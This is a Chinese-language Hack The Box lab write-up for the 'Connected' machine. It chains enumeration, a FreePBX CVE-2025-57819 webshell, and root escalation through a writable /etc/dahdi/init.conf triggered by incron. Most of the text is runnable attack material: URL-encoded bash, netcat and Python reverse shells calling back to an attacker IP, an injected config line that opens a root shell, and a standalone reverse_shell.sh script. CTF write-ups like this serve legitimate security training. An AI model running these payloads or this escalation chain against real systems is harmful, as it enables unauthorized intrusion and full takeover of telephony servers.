Hack The Box Connected 机器 write-up，涵盖枚举、CVE-2025-57819 漏洞利用、反弹 shell，以及通过 FreePBX 和 incron 提权至 root。
nmap -sV 10.129.81.130
结果：
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 (CentOS) PHP/7.4.16
443/tcp open ssl/https Apache/2.4.6 (CentOS) PHP/7.4.16
/etc/hostsecho "10.129.81.130 connected.htb" >> /etc/hosts
gobuster dir -u http://connected.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
关键发现：
/admin - FreePBX 管理面板/ucp - 用户控制面板/robots.txt - Robots 文件克隆 WatchTowr Labs 仓库：
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
cd watchTowr-vs-FreePBX-CVE-2025-57819
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
预期输出：
[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=hostname
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=whoami"
结果：
asterisk
nc -lvnp 4444
编码版本：
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.234%2F4444%200%3E%261%27"
注意： 将
10.10.14.234替换为你的 VPN IP。
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=nc%20-e%20/bin/bash%2010.10.14.234%204444"
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.234%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bsubprocess.call([%22/bin/bash%22%2C%22-i%22])%27"
listening on [any] 4444 ...
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 55944
bash: no job control in this shell
[asterisk@connected html]$
find /etc -name "*.conf" -writable 2>/dev/null
关键结果：
/etc/dahdi/init.conf
incron.dcat /etc/incron.d/*
相关条目：
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
init.confecho 'bash -c "bash -i >& /dev/tcp/10.10.14.234/4545 0>&1"' >> /etc/dahdi/init.conf
nc -lvnp 4545
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 45996
bash: no job control in this shell
[root@connected /]#
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
cat /home/asterisk/user.txt
HTB{...user_flag...}
cat /root/root.txt
HTB{...root_flag...}
Flag 已有意从本仓库中省略。
htb-labs-connected/
├── README.md
├── README-ES.md
├── exploits/
│ ├── watchTowr-vs-FreePBX-CVE-2025-57819/
│ ├── CVE-2025-57819-exploit/
│ └── CVE-2025-57819-poc/
├── payloads/
│ └── reverse_shell.sh
├── scans/
│ ├── nmap_scan.txt
│ └── gobuster_results.txt
├── screenshots/
└── flags/
文件： payloads/reverse_shell.sh
#!/bin/bash
# Reverse shell for HTB Connected
# Usage: ./reverse_shell.sh 10.10.14.234 4444
IP=$1
PORT=$2
if [ -z "$IP" ] || [ -z "$PORT" ]; then
echo "Usage: $0 <IP> <PORT>"
exit 1
fi
bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"
文件： scans/nmap_scan.txt
# Full port scan
nmap -sV -p- -T4 10.129.81.130
# Service and default script scan
nmap -sC -sV -p22,80,443 10.129.81.130
文件： scans/gobuster_results.txt
# Directory fuzzing
gobuster dir \
-u http://connected.htb \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html
# Fuzzing the admin directory
gobuster dir \
-u http://connected.htb/admin \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html,conf,ini,bak
curl -k https://connected.htb
检查你的 VPN 接口：
ip addr show tun0
如有必要，尝试其他监听端口：
4445
8080
1234
/etc/dahdi/init.conf - 权限提升期间使用的可写配置文件/etc/incron.d/ - incron 配置目录/var/spool/asterisk/sysadmin/dahdi_restart - 用于触发重启操作的触发器/var/www/html/ - Web 服务器文档根目录Connected 已成功完成。 ✅
该攻击链展示了暴露的 FreePBX 实例如何通过 CVE-2025-57819 实现初始访问，随后通过可写配置文件和基于 incron 的触发器实现权限提升。
| 步骤 | 操作 | 结果 |
|---|
| 1 | Nmap | 发现端口 22、80 和 443 开放 |
| 2 | Gobuster | 发现 /admin、/ucp、/robots.txt |
| 3 | CVE-2025-57819 | 以 asterisk 身份获取 Webshell |
| 4 | 反弹 Shell | 以 asterisk 身份获取交互式 Shell |
| 5 | 权限提升 | incron.d → dahdi_restart → init.conf |
| 6 | Root | 获取 Root Shell |